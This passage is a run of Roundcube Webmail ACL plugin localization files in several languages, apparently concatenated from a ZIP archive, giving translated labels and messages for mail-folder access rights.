$labels['aclother'] = '其他';
$labels['aclread'] = '讀取';
$labels['aclwrite'] = '寫入';
$labels['acldelete'] = '刪除';
$labels['shortacll'] = '尋找';
$labels['shortaclr'] = '讀取';
$labels['shortacls'] = '保存';
$labels['shortaclw'] = '寫入';
$labels['shortacli'] = '插入';
$labels['shortaclp'] = '發表';
$labels['shortaclc'] = '建立';
$labels['shortaclk'] = '建立';
$labels['shortacld'] = '刪除';
$labels['shortaclt'] = '刪除';
$labels['shortacle'] = '刪去';
$labels['shortaclx'] = '資料夾刪除';
$labels['shortacla'] = '管理者';
$labels['shortacln'] = '評注';
$labels['shortaclother'] = '其他';
$labels['shortaclread'] = '讀取';
$labels['shortaclwrite'] = '寫入';
$labels['shortacldelete'] = '刪除';
$labels['longacll'] = '此資料夾可以觀看和訂閱';
$labels['longaclr'] = '此資料夾可以開啟並讀取';
$labels['longacls'] = '能修改郵件旗標';
$labels['longaclw'] = '郵件旗標和關鍵字可以變更,不包含已檢視和刪除的';
$labels['longacli'] = '郵件能寫入或複製到資料夾';
$labels['longaclp'] = '郵件能發表到此資料夾';
$labels['longaclc'] = '這個資料夾之下可以建子資料夾 (或重新命名)';
$labels['longaclk'] = '這個資料夾之下可以建子資料夾 (或重新命名)';
$labels['longacld'] = '能修改郵件刪除旗標';
$labels['longaclt'] = '能修改郵件刪除旗標';
$labels['longacle'] = '能刪去郵件';
$labels['longaclx'] = '資料夾能刪除或重新命名';
$labels['longacla'] = '能變更資料夾權限';
$labels['longacln'] = '郵件共享的元資料 (評注) 能更改';
$labels['longaclfull'] = '完全控制包含資料夾管理';
$labels['longaclread'] = '資料夾能開啟並讀取';
$labels['longaclwrite'] = '郵件可以標記、寫入或複製到資料夾';
$labels['longacldelete'] = '郵件能刪除';
$labels['longaclother'] = '其他權限';
$labels['ariasummaryacltable'] = '權限清單';
$labels['arialabelaclactions'] = '清單動作';
$labels['arialabelaclform'] = '權限表單';
$messages['deleting'] = '刪除權限...';
$messages['saving'] = '儲存權限...';
$messages['updatesuccess'] = '權限變更完成';
$messages['deletesuccess'] = '權限刪除完成';
$messages['createsuccess'] = '權限新增完成';
$messages['updateerror'] = '無法更新權限';
$messages['deleteerror'] = '無法刪除權限';
$messages['createerror'] = '無法新增權限';
$messages['deleteconfirm'] = '確定要刪除所選使用者的權限嗎?';
$messages['norights'] = '沒有指定任何權限';
$messages['nouser'] = '沒有指定用戶名稱';
PKh�\�R�EE"plugins/acl/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Comparteix';
$labels['myrights'] = 'Permisos d\'accés';
$labels['username'] = 'Usuari:';
$labels['advanced'] = 'Mode Avançat';
$labels['add'] = 'Afegeix';
$labels['newuser'] = 'Afegeix una entrada';
$labels['editperms'] = 'Edita Permisos';
$labels['actions'] = 'Accions dels permisos d\'accés...';
$labels['anyone'] = 'Tots els usuaris (qualsevol)';
$labels['anonymous'] = 'Convidats (anònim)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Cerca';
$labels['aclr'] = 'Llegeix missatges';
$labels['acls'] = 'Conserva\'l com a llegit';
$labels['aclw'] = 'Marques d\'escriptura';
$labels['acli'] = 'Insereix (Copia dins)';
$labels['aclp'] = 'Envia l\'entrada';
$labels['aclc'] = 'Crea subcarpetes';
$labels['aclk'] = 'Crea subcarpetes';
$labels['acld'] = 'Suprimeix missatges';
$labels['aclt'] = 'Suprimeix missatges';
$labels['acle'] = 'Buida';
$labels['aclx'] = 'Suprimeix carpeta';
$labels['acla'] = 'Administra';
$labels['acln'] = 'Anota missatges';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Un altre';
$labels['aclread'] = 'Lectura';
$labels['aclwrite'] = 'Escriptura';
$labels['acldelete'] = 'Suprimeix';
$labels['shortacll'] = 'Cerca';
$labels['shortaclr'] = 'Lectura';
$labels['shortacls'] = 'Conserva';
$labels['shortaclw'] = 'Escriptura';
$labels['shortacli'] = 'Insereix';
$labels['shortaclp'] = 'Envia l\'entrada';
$labels['shortaclc'] = 'Crea';
$labels['shortaclk'] = 'Crea';
$labels['shortacld'] = 'Suprimeix';
$labels['shortaclt'] = 'Suprimeix';
$labels['shortacle'] = 'Buida';
$labels['shortaclx'] = 'Suprimeix carpeta';
$labels['shortacla'] = 'Administra';
$labels['shortacln'] = 'Anota';
$labels['shortaclother'] = 'Un altre';
$labels['shortaclread'] = 'Lectura';
$labels['shortaclwrite'] = 'Escriptura';
$labels['shortacldelete'] = 'Suprimeix';
$labels['longacll'] = 'La carpeta és visible a les llistes i s\'hi pot subscriure';
$labels['longaclr'] = 'La carpeta pot ser oberta per llegir';
$labels['longacls'] = 'Els missatges marcats com a Llegit poden ser canviats';
$labels['longaclw'] = 'Les marques i les paraules clau dels missatges poden ser canviats, excepte els Llegit i Suprimit';
$labels['longacli'] = 'Els missatges poden ser escrits i copiats a la carpeta';
$labels['longaclp'] = 'Els missatges poden ser enviats a aquesta carpeta';
$labels['longaclc'] = 'Es poden crear (or reanomenar) carpetes directament sota aquesta carpeta';
$labels['longaclk'] = 'Es poden crear (or reanomenar) carpetes directament sota aquesta carpeta';
$labels['longacld'] = 'Els missatges amb l\'indicador Suprimit poden ser canviats';
$labels['longaclt'] = 'Els missatges amb l\'indicador Suprimit poden ser canviats';
$labels['longacle'] = 'Els missatges poden ser purgats';
$labels['longaclx'] = 'La carpeta pot ser suprimida o reanomenada';
$labels['longacla'] = 'Els permisos d\'accés a la carpeta poden ser canviats';
$labels['longacln'] = 'Les metadades compartides dels missatges (anotacions) poden ser canviades';
$labels['longaclfull'] = 'Control total fins i tot la gestió de carpetes';
$labels['longaclread'] = 'La carpeta pot ser oberta per llegir';
$labels['longaclwrite'] = 'Els missatges poden ser marcats, escrits o copiats a la carpeta';
$labels['longacldelete'] = 'Els missatges poden ser suprimits';
$labels['longaclother'] = 'Altres drets d\'accés';
$labels['ariasummaryacltable'] = 'Llista els drets d\'accés';
$labels['arialabelaclactions'] = 'Llista les accions';
$labels['arialabelaclform'] = 'Formulari de drets d\'accés';
$messages['deleting'] = 'S\'estan suprimint els permisos d\'accés...';
$messages['saving'] = 'S\'estan desant els permisos d\'accés...';
$messages['updatesuccess'] = 'Els permisos d\'accés han estat canviats correctament';
$messages['deletesuccess'] = 'Els permisos d\'accés han estat suprimits correctament';
$messages['createsuccess'] = 'Els permisos d\'accés han estat afegits correctament';
$messages['updateerror'] = 'No s\'han pogut actualitzar els permisos d\'accés';
$messages['deleteerror'] = 'No s\'han pogut suprimir els permisos d\'accés';
$messages['createerror'] = 'No s\'han pogut afegir els permisos d\'accés';
$messages['deleteconfirm'] = 'Esteu segur de voler suprimir els permisos d\'accés de l\'usuari o usuaris seleccionats?';
$messages['norights'] = 'No s\'ha especificat cap permís';
$messages['nouser'] = 'No s\'ha especificat cap nom d\'usuari';
PKh�\bi3��plugins/acl/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Uso in commun';
$labels['myrights'] = 'Derectos de accesso';
$labels['username'] = 'Usator:';
$labels['advanced'] = 'Modo avantiate';
$labels['add'] = 'Adder';
$labels['newuser'] = 'Adder entrata';
$labels['editperms'] = 'Modificar permissiones';
$labels['actions'] = 'Actiones de derecto de accesso...';
$labels['anyone'] = 'Tote le usatores (non importa qui)';
$labels['anonymous'] = 'Hospites (anonyme)';
$labels['identifier'] = 'Identificator';
$labels['acll'] = 'Cercar';
$labels['aclr'] = 'Leger messages';
$labels['acls'] = 'Retener le stato Vidite';
$labels['aclw'] = 'Signales de scriptura';
$labels['acli'] = 'Inserer (copiar in)';
$labels['aclp'] = 'Inviar';
$labels['aclc'] = 'Crear subdossieres';
$labels['aclk'] = 'Crear subdossieres';
$labels['acld'] = 'Deler messages';
$labels['aclt'] = 'Deler messages';
$labels['acle'] = 'Expunger';
$labels['aclx'] = 'Deler dossier';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Annotar messages';
$labels['aclfull'] = 'Controlo total';
$labels['aclother'] = 'Altere';
$labels['aclread'] = 'Leger';
$labels['aclwrite'] = 'Scriber';
$labels['acldelete'] = 'Deler';
$labels['shortacll'] = 'Cercar';
$labels['shortaclr'] = 'Leger';
$labels['shortacls'] = 'Retener';
$labels['shortaclw'] = 'Scriber';
$labels['shortacli'] = 'Inserer';
$labels['shortaclp'] = 'Inviar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Deler';
$labels['shortaclt'] = 'Deler';
$labels['shortacle'] = 'Expunger';
$labels['shortaclx'] = 'Deletion de dossier';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Annotar';
$labels['shortaclother'] = 'Altere';
$labels['shortaclread'] = 'Leger';
$labels['shortaclwrite'] = 'Scriber';
$labels['shortacldelete'] = 'Deler';
$labels['longacll'] = 'Le dossier es visibile in listas e on pote subscriber se a illo';
$labels['longaclr'] = 'Le dossier pote esser aperite pro lectura';
$labels['longacls'] = 'Le signal "Vidite" de messages pote esser cambiate';
$labels['longaclw'] = 'Le signales e parolas-clave de messages pote esser cambiate, excepte "Vidite" e "Delite"';
$labels['longacli'] = 'Messages pote esser scribite o copiate al dossier';
$labels['longaclp'] = 'Messages pote esser inviate a iste dossier';
$labels['longaclc'] = 'Dossieres pote esser create (o renominate) directemente sub iste dossier';
$labels['longaclk'] = 'Dossieres pote esser create (o renominate) directemente sub iste dossier';
$labels['longacld'] = 'Le signal "Deler" de messages pote esser cambiate';
$labels['longaclt'] = 'Le signal "Deler" de messages pote esser cambiate';
$labels['longacle'] = 'Messages pote esser expungite';
$labels['longaclx'] = 'Le dossier pote esser delite o renominate';
$labels['longacla'] = 'Le derectos de accesso del dossier pote esser cambiate';
$labels['longacln'] = 'Le metadatos commun (annotationes) de messages pote esser cambiate';
$labels['longaclfull'] = 'Controlo total incluse le administration de dossieres';
$labels['longaclread'] = 'Le dossier pote esser aperite pro lectura';
$labels['longaclwrite'] = 'Messages pote esser marcate, scribite o copiate al dossier';
$labels['longacldelete'] = 'Messages pote esser delite';
$labels['longaclother'] = 'Altere derectos de accesso';
$labels['ariasummaryacltable'] = 'Lista de derectos de accesso';
$labels['arialabelaclactions'] = 'Listar actiones';
$labels['arialabelaclform'] = 'Formulario de derectos de accesso';
$messages['deleting'] = 'A deler derectos de accesso...';
$messages['saving'] = 'A salveguardar derectos de accesso...';
$messages['updatesuccess'] = 'Le derectos de accesso ha essite cambiate';
$messages['deletesuccess'] = 'Le derectos de accesso ha essite delite';
$messages['createsuccess'] = 'Le derectos de accesso ha essite addite';
$messages['updateerror'] = 'Impossibile actualisar le derectos de accesso';
$messages['deleteerror'] = 'Impossibile deler derectos de accesso';
$messages['createerror'] = 'Impossibile adder derectos de accesso';
$messages['deleteconfirm'] = 'Es vos secur de voler remover le derectos de accesso del usator(es) seligite?';
$messages['norights'] = 'Nulle derecto ha essite specificate.';
$messages['nouser'] = 'Nulle nomine de usator ha essite specificate.';
PKh�\)�%�,,"plugins/acl/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Razmjena';
$labels['myrights'] = 'Prava pristupa';
$labels['username'] = 'Korisnik:';
$labels['advanced'] = 'Napredni mod';
$labels['add'] = 'Dodaj';
$labels['newuser'] = 'Dodaj unos';
$labels['editperms'] = 'Uredi dozvole';
$labels['actions'] = 'Akcije za prava pristupa...';
$labels['anyone'] = 'Svi korisnici (bilo ko)';
$labels['anonymous'] = 'Gosti (anonimno)';
$labels['identifier'] = 'Identifikator';
$labels['acll'] = 'Pronađi';
$labels['aclr'] = 'Pročitaj poruke';
$labels['acls'] = 'Zadrži stanje pregleda';
$labels['aclw'] = 'Oznake za pisanje';
$labels['acli'] = 'Umetni (Kopiraj u)';
$labels['aclp'] = 'Objavi';
$labels['aclc'] = 'Napravi podfoldere';
$labels['aclk'] = 'Napravi podfoldere';
$labels['acld'] = 'Obriši poruke';
$labels['aclt'] = 'Obriši poruke';
$labels['acle'] = 'Izbriši';
$labels['aclx'] = 'Obriši folder';
$labels['acla'] = 'Administracija';
$labels['acln'] = 'Obilježi poruke';
$labels['aclfull'] = 'Puna kontrola';
$labels['aclother'] = 'Ostalo';
$labels['aclread'] = 'Pročitano';
$labels['aclwrite'] = 'Piši';
$labels['acldelete'] = 'Obriši';
$labels['shortacll'] = 'Pronađi';
$labels['shortaclr'] = 'Pročitano';
$labels['shortacls'] = 'Zadrži';
$labels['shortaclw'] = 'Piši';
$labels['shortacli'] = 'Umetni';
$labels['shortaclp'] = 'Objavi';
$labels['shortaclc'] = 'Kreiraj';
$labels['shortaclk'] = 'Kreiraj';
$labels['shortacld'] = 'Obriši';
$labels['shortaclt'] = 'Obriši';
$labels['shortacle'] = 'Izbriši';
$labels['shortaclx'] = 'Brisanje foldera';
$labels['shortacla'] = 'Administracija';
$labels['shortacln'] = 'Obilježli';
$labels['shortaclother'] = 'Ostalo';
$labels['shortaclread'] = 'Pročitano';
$labels['shortaclwrite'] = 'Piši';
$labels['shortacldelete'] = 'Obriši';
$labels['longacll'] = 'Ovaj folder je vidljiv u listama i moguće je izvršiti pretplatu na njega';
$labels['longaclr'] = 'Folder je moguće otvoriti radi čitanja';
$labels['longacls'] = 'Oznaka čitanja za poruke se može promijeniti';
$labels['longaclw'] = 'Oznake za poruke i ključne riječi je moguće promijeniti, osim za pregledano i obrisano';
$labels['longacli'] = 'Moguće je kopirati i zapisivati poruke u folder';
$labels['longaclp'] = 'Moguće je objavljivati poruke u ovaj folder';
$labels['longaclc'] = 'Moguće je kreirati (ili preimenovati) foldere diretno ispod ovog foldera';
$labels['longaclk'] = 'Moguće je kreirati (ili preimenovati) foldere diretno ispod ovog foldera';
$labels['longacld'] = 'Oznaka za obrisane poruke se može mijenjati';
$labels['longaclt'] = 'Oznaka za obrisane poruke se može mijenjati';
$labels['longacle'] = 'Poruke je moguće obrisati';
$labels['longaclx'] = 'Folder je moguće obrisati ili preimenovati';
$labels['longacla'] = 'Pristupna prava foldera je moguće promijeniti';
$labels['longacln'] = 'Dijeljeni podaci (obilježavanja) poruka mogu se mijenjati';
$labels['longaclfull'] = 'Puna kontrola uključujući i administraciju foldera';
$labels['longaclread'] = 'Folder je moguće otvoriti radi čitanja';
$labels['longaclwrite'] = 'Moguće je označavati, zapisivati i kopirati poruke u folder';
$labels['longacldelete'] = 'Moguće je obrisati poruke';
$labels['longaclother'] = 'Ostala prava pristupa';
$labels['ariasummaryacltable'] = 'Lista prava pristupa';
$labels['arialabelaclactions'] = 'Lista akcija';
$labels['arialabelaclform'] = 'Obrazac za prava pristupa';
$messages['deleting'] = 'Brišem prava pristupa...';
$messages['saving'] = 'Snimam prava pristupa...';
$messages['updatesuccess'] = 'Prava pristupa su uspješno promijenjena';
$messages['deletesuccess'] = 'Prava pristupa su uspješno obrisana';
$messages['createsuccess'] = 'Prava pristupa su uspješno dodana';
$messages['updateerror'] = 'Nije moguće ažurirati prava pristupa';
$messages['deleteerror'] = 'Nije moguće obrisati prava pristupa';
$messages['createerror'] = 'Nije moguće dodati prava pristupa';
$messages['deleteconfirm'] = 'Jeste li sigurni da želite ukloniti prava pristupa za odabrane korisnike?';
$messages['norights'] = 'Niste odabrali prava pristupa!';
$messages['nouser'] = 'Niste odabrali korisničko ime!';
PKh�\h��"plugins/acl/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Совместный доступ';
$labels['myrights'] = 'Права доступа';
$labels['username'] = 'Пользователь:';
$labels['advanced'] = 'Экспертный режим';
$labels['add'] = 'Добавить';
$labels['newuser'] = 'Добавить поле';
$labels['editperms'] = 'Редактировать права';
$labels['actions'] = 'Действия с правами доступа...';
$labels['anyone'] = 'Все пользователи (любые)';
$labels['anonymous'] = 'Гости (анонимные)';
$labels['identifier'] = 'Идентификатор';
$labels['acll'] = 'Просмотр';
$labels['aclr'] = 'Чтение сообщений';
$labels['acls'] = 'Сохранение состояния Прочитано';
$labels['aclw'] = 'Запись флагов';
$labels['acli'] = 'Вставка (копирование в...)';
$labels['aclp'] = 'Отправить';
$labels['aclc'] = 'Создание вложенных папок';
$labels['aclk'] = 'Создание вложенных папок';
$labels['acld'] = 'Удаление сообщений';
$labels['aclt'] = 'Удаление сообщений';
$labels['acle'] = 'Уничтожение сообщений';
$labels['aclx'] = 'Удаление папки';
$labels['acla'] = 'Администрировать';
$labels['acln'] = 'Комментировать сообщения';
$labels['aclfull'] = 'Полный доступ';
$labels['aclother'] = 'Другое';
$labels['aclread'] = 'Чтение';
$labels['aclwrite'] = 'Запись';
$labels['acldelete'] = 'Удаление';
$labels['shortacll'] = 'Поиск';
$labels['shortaclr'] = 'Чтение';
$labels['shortacls'] = 'Прочитано';
$labels['shortaclw'] = 'Запись';
$labels['shortacli'] = 'Вставить';
$labels['shortaclp'] = 'Отправить';
$labels['shortaclc'] = 'Создать';
$labels['shortaclk'] = 'Создать';
$labels['shortacld'] = 'Удаление';
$labels['shortaclt'] = 'Удаление';
$labels['shortacle'] = 'Уничтожение';
$labels['shortaclx'] = 'Удаление папки';
$labels['shortacla'] = 'Администрировать';
$labels['shortacln'] = 'Комментировать';
$labels['shortaclother'] = 'Другое';
$labels['shortaclread'] = 'Чтение';
$labels['shortaclwrite'] = 'Запись';
$labels['shortacldelete'] = 'Удаление';
$labels['longacll'] = 'Папка видима в списках и доступна для подписки';
$labels['longaclr'] = 'Эта папка может быть открыта для чтения';
$labels['longacls'] = 'Флаг Прочитано может быть изменен';
$labels['longaclw'] = 'Флаги и ключевые слова, кроме Прочитано и Удалено, могут быть изменены';
$labels['longacli'] = 'Сообщения могут быть записаны или скопированы в папку';
$labels['longaclp'] = 'Сообщения могут быть отправлены в эту папку';
$labels['longaclc'] = 'Подпапки могут быть созданы или переименованы прямо в этой папке';
$labels['longaclk'] = 'Подпапки могут быть созданы или переименованы прямо в этой папке';
$labels['longacld'] = 'Флаг Удалено может быть изменен';
$labels['longaclt'] = 'Флаг Удалено может быть изменен';
$labels['longacle'] = 'Сообщения могут быть уничтожены';
$labels['longaclx'] = 'Эта папка может быть переименована или удалена';
$labels['longacla'] = 'Права доступа к папке могут быть изменены';
$labels['longacln'] = 'Совместные медаданные сообщений (комментарии) могут быть изменены';
$labels['longaclfull'] = 'Полный доступ, включая управление папкой';
$labels['longaclread'] = 'Эта папка может быть открыта для чтения';
$labels['longaclwrite'] = 'Сообщения можно помечать, записывать или копировать в папку';
$labels['longacldelete'] = 'Сообщения можно удалять';
$labels['longaclother'] = 'Прочие права доступа';
$labels['ariasummaryacltable'] = 'Список прав доступа';
$labels['arialabelaclactions'] = 'Список действий';
$labels['arialabelaclform'] = 'Форма прав доступа';
$messages['deleting'] = 'Удаление прав доступа...';
$messages['saving'] = 'Сохранение прав доступа...';
$messages['updatesuccess'] = 'Права доступа успешно изменены';
$messages['deletesuccess'] = 'Права доступа успешно удалены';
$messages['createsuccess'] = 'Успешно добавлены права доступа';
$messages['updateerror'] = 'Невозможно обновить права доступа';
$messages['deleteerror'] = 'Невозможно удалить права доступа';
$messages['createerror'] = 'Невозможно добавить права доступа';
$messages['deleteconfirm'] = 'Вы уверены в том, что хотите удалить права доступа выбранных пользователей?';
$messages['norights'] = 'Права доступа не установлены!';
$messages['nouser'] = 'Не определено имя пользователя!';
PKh�\ߗogg"plugins/acl/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'اشتراک‌گذاری';
$labels['myrights'] = 'حقوق دسترسی';
$labels['username'] = 'کاربر:';
$labels['advanced'] = 'حالت پیشرفته';
$labels['add'] = 'افزودن';
$labels['newuser'] = 'افزودن ورودی';
$labels['editperms'] = 'ویرایش مجوزها';
$labels['actions'] = 'فعالیت‌های حق دسترسی...';
$labels['anyone'] = 'همه‌ی کاربران (هر کسی)';
$labels['anonymous'] = 'مهمان‌ها (ناشناس)';
$labels['identifier'] = 'شناساگر';
$labels['acll'] = 'یافتن';
$labels['aclr'] = 'پیام‌های خوانده شده';
$labels['acls'] = 'نگه داشتن حالت بازدید';
$labels['aclw'] = 'پرچم‌های نوشتن';
$labels['acli'] = 'وارد کردن (رونوشت در)';
$labels['aclp'] = 'نوشته';
$labels['aclc'] = 'ایجاد زیرپوشه‌ها';
$labels['aclk'] = 'ایجاد زیرپوشه‌ها';
$labels['acld'] = 'حذف پیام‌ها';
$labels['aclt'] = 'حذف پیام‌ها';
$labels['acle'] = 'پاک کردن';
$labels['aclx'] = 'حذف پوشه';
$labels['acla'] = 'اداره کردن';
$labels['acln'] = 'حاشیه نویسی پیام ها';
$labels['aclfull'] = 'کنترل کامل';
$labels['aclother'] = 'دیگر';
$labels['aclread'] = 'خواندن';
$labels['aclwrite'] = 'نوشتن';
$labels['acldelete'] = 'حذف کردن';
$labels['shortacll'] = 'یافتن';
$labels['shortaclr'] = 'خواندن';
$labels['shortacls'] = 'نگه داشتن';
$labels['shortaclw'] = 'نوشتن';
$labels['shortacli'] = 'جاگذارى';
$labels['shortaclp'] = 'پست کردن';
$labels['shortaclc'] = 'ایجاد';
$labels['shortaclk'] = 'ایجاد';
$labels['shortacld'] = 'حذف';
$labels['shortaclt'] = 'حذف';
$labels['shortacle'] = 'پاک کردن';
$labels['shortaclx'] = 'حذف پوشه';
$labels['shortacla'] = 'اداره کردن';
$labels['shortacln'] = 'حاشیه نویسی';
$labels['shortaclother'] = 'دیگر';
$labels['shortaclread'] = 'خواندن';
$labels['shortaclwrite'] = 'نوشتن';
$labels['shortacldelete'] = 'حذف کردن';
$labels['longacll'] = 'پوشه در فهرست‌ها قابل مشاهده است و می‌تواند مشترک آن شد';
$labels['longaclr'] = 'پوشه می‌تواند برای خواندن باز شود';
$labels['longacls'] = 'پرچم بازدید پیام‌ها می‌تواند تغییر داده شود';
$labels['longaclw'] = 'پرچم و کلیدواژه پیام‌ها می‌تواند تغییر داده شود، به غیر از بازدید و حذف';
$labels['longacli'] = 'پیام‌ها می‌توانند کپی یا نوشته شوند به پوشه';
$labels['longaclp'] = 'پیام‌ها می‌توانند پست شوند به این پوشه';
$labels['longaclc'] = 'پوشه‌ها می‌توانند ایجاد شوند (تغییر نام داد شوند) به طور مستقیم در این پوشه';
$labels['longaclk'] = 'پوشه‌ها می‌توانند ایجاد شوند (تغییر نام داد شوند) به طور مستقیم در این پوشه';
$labels['longacld'] = 'پرچم حذف پیام‌ها می‌تواند تغییر داده شود';
$labels['longaclt'] = 'پرچم حذف پیام‌ها می‌تواند تغییر داده شود';
$labels['longacle'] = 'پیام‌ها می‌توانند حذف شوند';
$labels['longaclx'] = 'پوشه می‌تواند حذف یا تغییر نام داده شود';
$labels['longacla'] = 'حقوق دسترسی پوشه می‌تواند تغییر داده شود';
$labels['longacln'] = 'اطلاعات متا اشتراک گذاشته شده پیام‌ها (حاشیه‌ها) می‌تواند تغییر داده شوند';
$labels['longaclfull'] = 'کنترل کامل شما مدیریت پوشه';
$labels['longaclread'] = 'پوشه می‌تواند برای خواندن باز شود';
$labels['longaclwrite'] = 'پیام‌ها می‌توانند علامتگذاری، نوشته و یا کپی شوند در پوشه';
$labels['longacldelete'] = 'پیام‌ها می‌توانند حذف شوند';
$labels['longaclother'] = 'قوانین دسترسی دیگر';
$labels['ariasummaryacltable'] = 'فهرست قوانین دسترسی';
$labels['arialabelaclactions'] = 'فهرست کنش‌ها';
$labels['arialabelaclform'] = 'فرم قوانین دسترسی';
$messages['deleting'] = 'حذف کردن حقوق دسترسی...';
$messages['saving'] = 'ذخیره حقوق دسترسی...';
$messages['updatesuccess'] = 'حقوق دسترسی با کام‌یابی تغییر کردند';
$messages['deletesuccess'] = 'حقوق دسترسی با کام‌یابی حذف شدند';
$messages['createsuccess'] = 'حقوق دسترسی با کام‌یابی اضافه شدند';
$messages['updateerror'] = 'ناتوانی در روزآمد کردن حقوق دسترسی';
$messages['deleteerror'] = 'ناتوانی در حذف حقوق دسترسی';
$messages['createerror'] = 'ناتوانی در اضافه کردن حقوق دسترسی';
$messages['deleteconfirm'] = 'آیا شما مطمئن هستید که می‌خواهید حقوق دسترسی را برای کاربر(ان) انتخاب شده حذف نمایید؟';
$messages['norights'] = 'هیچ حقی مشخص نشده است!';
$messages['nouser'] = 'هیج نام‌کاربری‌ای مشخص نشده است!';
PKh�\�!�(�	�	"plugins/acl/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deiling';
$labels['myrights'] = 'Aðgangsheimildir';
$labels['username'] = 'Notandi:';
$labels['advanced'] = 'Flóknari hamur';
$labels['add'] = 'Bæta við';
$labels['newuser'] = 'Bæta við færslu';
$labels['editperms'] = 'Breyta heimildum';
$labels['anyone'] = 'Allir notendur (hver sem er)';
$labels['anonymous'] = 'Gestir (nafnlausir)';
$labels['identifier'] = 'Auðkenni';
$labels['acll'] = 'Uppfletting';
$labels['aclr'] = 'Lesa skilaboð';
$labels['acli'] = 'Setja inn (afrita inn í)';
$labels['aclc'] = 'Búa til undirmöppur';
$labels['aclk'] = 'Búa til undirmöppur';
$labels['acld'] = 'Eyða skilaboðum';
$labels['aclt'] = 'Eyða skilaboðum';
$labels['aclx'] = 'Eyða möppu';
$labels['acla'] = 'Stjórna';
$labels['aclfull'] = 'Full stjórn';
$labels['aclother'] = 'Annað';
$labels['aclread'] = 'Lesið';
$labels['aclwrite'] = 'Skrifa';
$labels['acldelete'] = 'Eyða';
$labels['shortacll'] = 'Uppfletting';
$labels['shortaclr'] = 'Lesið';
$labels['shortacls'] = 'Halda';
$labels['shortaclw'] = 'Skrifa';
$labels['shortacli'] = 'Setja inn';
$labels['shortaclc'] = 'Búa til';
$labels['shortaclk'] = 'Búa til';
$labels['shortacld'] = 'Eyða';
$labels['shortaclt'] = 'Eyða';
$labels['shortaclx'] = 'Eyða möppu';
$labels['shortacla'] = 'Stjórna';
$labels['shortaclother'] = 'Annað';
$labels['shortaclread'] = 'Lesið';
$labels['shortaclwrite'] = 'Skrifa';
$labels['shortacldelete'] = 'Eyða';
$labels['longaclc'] = 'Hægt er að útbúa (eða endurnefna) möppur beint inni í þessari möppu';
$labels['longaclk'] = 'Hægt er að útbúa (eða endurnefna) möppur beint inni í þessari möppu';
$labels['arialabelaclactions'] = 'Telja upp aðgerðir';
PKh�\yŤ��"plugins/acl/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Chia sẻ';
$labels['myrights'] = 'Quyền truy cập';
$labels['username'] = 'Người dùng:';
$labels['advanced'] = 'Chế độ tính năng cao hơn';
$labels['add'] = 'Thêm';
$labels['newuser'] = 'Thêm bài viết';
$labels['editperms'] = 'Sửa đổi quyền sử dụng';
$labels['actions'] = 'Các thao tác quyền truy cập';
$labels['anyone'] = 'Tất cả người dùng (bất kỳ ai)';
$labels['anonymous'] = 'Khách (nặc danh)';
$labels['identifier'] = 'Định danh';
$labels['acll'] = 'Tìm kiếm';
$labels['aclr'] = 'Đọc thư';
